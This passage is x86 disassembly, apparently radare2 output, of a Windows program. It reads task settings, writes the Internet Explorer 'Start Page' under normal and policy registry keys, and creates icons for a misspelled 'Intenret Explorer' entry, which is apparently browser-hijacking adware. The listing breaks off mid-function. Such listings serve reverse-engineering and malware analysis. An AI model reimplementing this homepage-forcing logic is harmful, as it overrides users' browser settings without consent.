call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x450ad7
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x570]
call fcn.004108d0
lea ecx, [ebp - 0x494]
call fcn.004052f0
lea edx, [ebp - 0x494]
mov byte [ebp - 4], 0x80
mov ecx, 0x10
call fcn.00413450
push 0x590678
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0x81
push eax
lea eax, [ebp - 0x47c]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x83
call fcn.00407270
push 0x58f760
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0x84
push eax
lea eax, [ebp - 0x510]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov edi, eax
push 0
push str.Intenret_Explorer
push 0
push 0
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x85
call fcn.0040f960
push eax
lea ecx, [ebp - 0x4c8]
call fcn.0040f960
push eax
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
mov ecx, edi
call fcn.0040f960
push eax
mov ecx, esi
call fcn.004560b0
lea ecx, [ebp - 0x6bc]
call fcn.00407320
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407320
lea ecx, [ebp - 0x494]
call fcn.00407320
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x75
call fcn.00407320
push 0
push 0x58f760
push 0
mov ecx, esi
call fcn.0044e730
test eax, eax
je 0x450d3d
lea ecx, [ebp - 0x570]
call fcn.004052f0
push 0x58f760
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x86
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x87
push eax
lea eax, [ebp - 0x4c8]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x89
call fcn.00407270
lea eax, [ebp - 0x570]
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
push eax
push str.Start_Page
mov ecx, SysReAllocString
call fcn.00417280
add esp, 8
mov ecx, esi
push 2
push str.Option
call fcn.0043b1e0
test eax, eax
je 0x450d27
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
lea ecx, [ebp - 0x570]
call fcn.0040f960
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x450d27
lea ecx, [ebp - 0x494]
call fcn.0040f970
mov edi, eax
lea ecx, [ebp - 0x494]
add edi, edi
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
mov ecx, SysReAllocString
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwareMicrosoftInternet_ExplorerMain
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
push edi
call fcn.0040f960
push eax
push str.Start_Page
mov edx, str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417260
add esp, 0xc
lea ecx, [ebp - 0x494]
call fcn.00407320
lea ecx, [ebp - 0x570]
call fcn.00407320
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x4a8]
call fcn.00407520
jmp 0x450e2a
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x448]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x8a
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x8b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x8c
call fcn.00406750
push 1
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0x8d
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x4c8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x528]
mov byte [ebp - 4], pe_nt_image_headers32
call fcn.00407270
cmp dword [esi + 0x9fc], 0xc8
je 0x450e7a
mov ecx, esi
call fcn.0044a0a0
test eax, eax
je 0x452cd4
cmp dword [esi + 0x9fc], 0x190
jne 0x452cd4
push 0x17
push str.Option
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x452cd4
push 0xc
lea ecx, [ebp - 0x564]
call fcn.00454d20
lea ecx, [ebp - 0x564]
call fcn.004566b0
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x494]
push str.Tasks
mov dword [ebp - 0x42c], 0
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x8f
call fcn.00406750
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x90
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00437b10
cmp dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x448]
setl bl
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x8e
call fcn.00407270
test bl, bl
je 0x4526b6
nop dword [eax]
push str.taskidstr
lea ecx, [ebp - 0x510]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 0x91
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 0x92
call fcn.00406750
lea eax, [ebp - 0x528]
mov byte [ebp - 4], 0x93
push eax
lea eax, [ebp - 0x510]
mov ecx, 0x5ba9b8
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x4c8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00403d30
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x47c]
call fcn.00407270
lea ecx, [ebp - 0x510]
mov byte [ebp - 4], 0x97
call fcn.00407270
push dword [ebp - 0x42c]
mov ecx, esi
push str.silent
push 2
call fcn.0044d810
test eax, eax
je 0x4512c3
push str.checked
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x98
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x99
call fcn.00406750
push 1
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x9a
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
push str.selected
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Tasks
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x9b
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0x9c
call fcn.00406750
push 1
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0x9d
push eax
push dword [ebp - 0x42c]
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x540]
call fcn.00406750
push str.Checked
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x9e
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0x9f
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xa0
call fcn.00406750
push 1
lea eax, [ebp - 0x540]
mov byte [ebp - 4], 0xa1
push eax
lea eax, [ebp - 0x494]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x4f8]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
call fcn.00407270
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0x97
call fcn.00407270
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x494]
call fcn.00406750
push str.Unchecked
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 0xa2
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xa3
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0xa4
call fcn.00406750
push 0
lea eax, [ebp - 0x494]
mov byte [ebp - 4], 0xa5
push eax
lea eax, [ebp - 0x448]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x4f8]
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4f8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407270
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 0x97
call fcn.00407270
push str.Tasks
lea ecx, [ebp - 0x4e0]
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x540]
mov byte [ebp - 4], 0xa6
call fcn.00406750
mov byte [ebp - 4], 0xa7
lea eax, [ebp - 0x4e0]
push dword [ebp - 0x42c]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00401ef0
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004025c0
lea ecx, [ebp - 0x540]
call fcn.00407270
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0xaa
call fcn.00407270
push str.skip
lea ecx, [ebp - 0x6bc]
call fcn.00406750
mov byte [ebp - 4], 0xab
lea eax, [ebp - 0x6bc]
mov ebx, dword [ebp - 0x424]
lea ecx, [ebp - 0x4a8]
or ebx, 0x10
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x4515bb
push str.checked
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0xac
or ebx, 0x20
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x4515bb
push str.selected
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov dword [ebp - 4], 0xad
or ebx, 0x40
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.00437e40
test al, al
je 0x4515bb
push str.skip
lea ecx, [ebp - 0x494]
call fcn.00406750
lea eax, [ebp - 0x494]
mov dword [ebp - 4], 0xae
or ebx, 0x80
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x4515bb
push str.checked
lea ecx, [ebp - 0x448]
call fcn.00406750
lea eax, [ebp - 0x448]
mov dword [ebp - 4], 0xaf
or ebx, 0x100
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x4515bb
push str.selected
lea ecx, [ebp - 0x4f8]
call fcn.00406750
lea eax, [ebp - 0x4f8]
mov dword [ebp - 4], 0xb0
or ebx, 0x200
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437f60
test al, al
jne 0x4515bb
push str.skip
lea ecx, [ebp - 0x510]
call fcn.00406750
lea eax, [ebp - 0x510]
mov dword [ebp - 4], 0xb1
or ebx, 0x400
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
cmp al, 1
je 0x4515bb
push str.checked
lea ecx, [ebp - 0x47c]
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0xb2
or ebx, 0x800
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
test al, al
je 0x4515bb
push str.selected
lea ecx, [ebp - 0x4c8]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov dword [ebp - 4], 0xb3
or ebx, 0x1000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00404790
mov byte [ebp - 0x6a1], 0
test al, al
jne 0x4515c2
mov byte [ebp - 0x6a1], 1
test ebx, 0x1000
je 0x4515e1
and ebx, 0xffffefff
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x800
je 0x451600
and ebx, 0xfffff7ff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x400
je 0x45161f
and ebx, 0xfffffbff
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x200
je 0x45163e
and ebx, 0xfffffdff
lea ecx, [ebp - 0x4f8]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x100
je 0x45165d
and ebx, 0xfffffeff
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, bl
jns 0x451678
and ebx, 0xffffff7f
lea ecx, [ebp - 0x494]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, 0x40
je 0x451691
and ebx, 0xffffffbf
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test bl, 0x20
je 0x4516aa
and ebx, 0xffffffdf
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x424], ebx
call fcn.00407270
mov dword [ebp - 4], 0xaa
test bl, 0x10
je 0x4516ca
and ebx, 0xffffffef
lea ecx, [ebp - 0x6bc]
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
jne 0x45261d
push dword [ebp - 0x42c]
mov ecx, esi
push str.checked
push 2
call fcn.0044d810
test eax, eax
je 0x45261d
push str.tasktype
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov byte [ebp - 4], 0xb4
or ebx, 0x2000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
cmp eax, 3
je 0x4517be
push str.tasktype
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x464]
mov dword [ebp - 4], 0xb5
or ebx, 0x4000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
cmp eax, 2
je 0x4517be
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov dword [ebp - 4], 0xb6
or ebx, 0x8000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
mov byte [ebp - 0x6a1], 0
cmp eax, 4
jne 0x4517c5
mov byte [ebp - 0x6a1], 1
test ebx, 0x8000
je 0x4517de
lea ecx, [ebp - 0x6bc]
and ebx, 0xffff7fff
call fcn.00407270
test ebx, 0x4000
je 0x4517f7
lea ecx, [ebp - 0x464]
and ebx, 0xffffbfff
call fcn.00407270
mov dword [ebp - 4], 0xaa
lea ecx, [ebp - 0x6d4]
and ebx, 0xffffdfff
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
mov dword [ebp - 0x44c], ebx
je 0x452556
push 4
push str.General
mov ecx, esi
call fcn.0043b1e0
mov dword [ebp - 0x430], eax
test eax, eax
je 0x45186b
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
push dword [ebp - 0x42c]
push 2
call fcn.0044adb0
lea eax, [ebp - 0x5c0]
push eax
mov eax, dword [esi + 0xac8]
call eax
mov dword [ebp - 0x430], eax
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb7
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 3
jne 0x451996
mov ebx, dword [ebp - 0x430]
test ebx, ebx
jne 0x452282
push 0x1b
push str.Option
mov ecx, esi
call fcn.0043b1e0
test eax, eax
je 0x45194d
lea ecx, [ebp - 0x5c0]
call fcn.00439e10
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xb8
call fcn.00439f40
push str.taskid
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb9
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xb8
mov edi, eax
call fcn.00407270
lea ecx, [ebp - 0x5c0]
call fcn.00439ed0
mov edx, eax
mov ecx, edi
call fcn.00417120
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xaa
call fcn.00401ee0
lea eax, [ebp - 0x42c]
push eax
push esi
lea ecx, [ebp - 0x6e8]
call fcn.00454c80
push eax
lea eax, [ebp - 0x6e0]
mov ecx, 0x5ba9c8
push eax
call fcn.0045a720
push eax
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0xba
call fcn.00454ca0
lea ecx, [ebp - 0x6e0]
mov byte [ebp - 4], 0xaa
call fcn.004385e0
jmp 0x45227a
push str.tasktype
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbb
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437b50
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xaa
mov edi, eax
call fcn.00407270
cmp edi, 2
jne 0x4523c5
lea ecx, [ebp - 0x494]
call fcn.004052f0
lea ecx, [ebp - 0x448]
call fcn.004052f0
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0xbd
push eax
push 0x58bc94
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_PathsIEXPLORE.EXE
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00417280
add esp, 8
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x451b7d
push str.taskname
lea ecx, [ebp - 0x6d4]
call fcn.00406750
lea eax, [ebp - 0x510]
mov byte [ebp - 4], 0xbe
push eax
lea eax, [ebp - 0x6d4]
or ebx, 0x10000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0xbf
mov ecx, eax
mov ebx, dword [ebp - 0x44c]
or ebx, 0x30000
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.0040f970
test eax, eax
je 0x451b7d
push str.savepath
lea ecx, [ebp - 0x464]
call fcn.00406750
lea eax, [ebp - 0x47c]
mov dword [ebp - 4], 0xc0
push eax
lea eax, [ebp - 0x464]
or ebx, 0x40000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov dword [ebp - 4], 0xc1
mov ecx, eax
mov ebx, dword [ebp - 0x44c]
or ebx, 0xc0000
mov dword [ebp - 0x424], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.0040f970
test eax, eax
je 0x451b7d
push 0x590690
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov dword [ebp - 4], 0xc2
push eax
lea eax, [ebp - 0x6bc]
or ebx, 0x100000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, dword [ebp - 0x44c]
mov ecx, eax
or ebx, 0x300000
mov dword [ebp - 0x424], ebx
call fcn.0040f970
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x451b84
mov byte [ebp - 0x6a1], 0
test ebx, 0x200000
je 0x451ba3
and ebx, 0xffdfffff
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x424], ebx
call fcn.00407320
test ebx, 0x100000
je 0x451bc2
and ebx, 0xffefffff
lea ecx, [ebp - 0x6bc]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x80000
je 0x451be1
and ebx, 0xfff7ffff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x424], ebx
call fcn.00407320
test ebx, 0x40000
je 0x451c00
and ebx, 0xfffbffff
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x424], ebx
call fcn.00407270
test ebx, 0x20000
je 0x451c1f
and ebx, 0xfffdffff
lea ecx, [ebp - 0x510]
mov dword [ebp - 0x424], ebx
call fcn.00407320
mov dword [ebp - 4], 0xbd
test ebx, 0x10000
je 0x451c45
and ebx, 0xfffeffff
lea ecx, [ebp - 0x6d4]
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
je 0x451f1a
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.005219d0
add esp, 0xc
lea ecx, [ebp - 0x464]
push str.savepath
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc3
or ebx, 0x400000
lea ecx, [ebp - 0x4a8]
push eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0x44c], ebx
call fcn.00437e40
test al, al
je 0x451d05
push str.savepath
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x6d4]
mov dword [ebp - 4], 0xc4
push eax
lea eax, [ebp - 0x6bc]
or ebx, 0x800000
push eax
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x428], ebx
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ebx, dword [ebp - 0x44c]
mov ecx, eax
or ebx, 0x1800000
call fcn.0040f970
mov byte [ebp - 0x6a1], 1
test eax, eax
jne 0x451d0c
mov byte [ebp - 0x6a1], 0
test ebx, 0x1000000
je 0x451d25
lea ecx, [ebp - 0x6d4]
and ebx, 0xfeffffff
call fcn.00407320
test ebx, 0x800000
je 0x451d3e
lea ecx, [ebp - 0x6bc]
and ebx, 0xff7fffff
call fcn.00407270
mov dword [ebp - 4], 0xbd
lea ecx, [ebp - 0x464]
and ebx, 0xffbfffff
mov dword [ebp - 0x424], ebx
call fcn.00407270
cmp byte [ebp - 0x6a1], 0
lea ecx, [ebp - 0x6bc]
je 0x451dd6
push str.savepath
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc5
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbd
call fcn.00407270
jmp 0x451e51
push str.taskname
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc6
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
call fcn.0040f960
push eax
lea ecx, [esi + 0x580]
call fcn.0040f960
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xbd
call fcn.00407270
push str..ico
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x218]
push eax
call edi
test eax, eax
jne 0x451ef9
lea ecx, [ebp - 0x5c0]
call fcn.0047edd0
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0xc7
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0047f4b0
push 0x590690
lea ecx, [ebp - 0x6bc]
call fcn.00406750
lea eax, [ebp - 0x464]
mov byte [ebp - 4], 0xc8
push eax
lea eax, [ebp - 0x6bc]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.004039f0
mov ecx, eax
call fcn.00437da0
mov ecx, eax
mov byte [ebp - 4], 0xc9
call fcn.0040f960
push eax
lea ecx, [ebp - 0x5c0]
call fcn.0047f4f0
lea ecx, [ebp - 0x464]
call fcn.00407320
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0xbd
call fcn.0047ee20
lea eax, [ebp - 0x218]
push eax
call edi
test eax, eax
je 0x451f20
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x494]
call fcn.004108a0
jmp 0x451f20
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea ecx, [ebp - 0x494]
call fcn.0040f970
test eax, eax
jne 0x451f41
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x494]
call fcn.004108d0
lea ecx, [ebp - 0x494]
call fcn.0040f960
push eax
call edi
test eax, eax
jne 0x452039
lea ecx, [ebp - 0x528]
call fcn.00405f80
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00406750
push str.Error
lea ecx, [ebp - 0x6d4]
mov byte [ebp - 4], 0xca
call fcn.00406750
push str.Result
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0xcb
call fcn.00406750
push str.Config
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xcc
call fcn.00406750
push 1
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xcd
push eax
lea eax, [ebp - 0x6d4]
mov ecx, 0x5ba9b8
push eax
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x6bc]
push eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.004039f0
mov ecx, eax
call fcn.00404740
lea ecx, [ebp - 0x6bc]
call fcn.00407270
lea ecx, [ebp - 0x464]
call fcn.00407270
lea ecx, [ebp - 0x6d4]
call fcn.00407270
lea ecx, [ebp - 0x4c8]
call fcn.00407270
lea ecx, [ebp - 0x448]
call fcn.00407320
lea ecx, [ebp - 0x494]
call fcn.00407320
jmp 0x45261d
cmp dword [ebp - 0x430], 0
jne 0x45225a
lea ecx, [ebp - 0x4f8]
call fcn.004052f0
lea edx, [ebp - 0x4f8]
mov byte [ebp - 4], 0xce
mov ecx, 0x10
call fcn.00413450
push str.taskname
lea ecx, [ebp - 0x464]
call fcn.00406750
push 0x58f760
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0xcf
call fcn.00406750
lea eax, [ebp - 0x4c8]
mov byte [ebp - 4], 0xd0
push eax
lea eax, [ebp - 0x464]
push eax
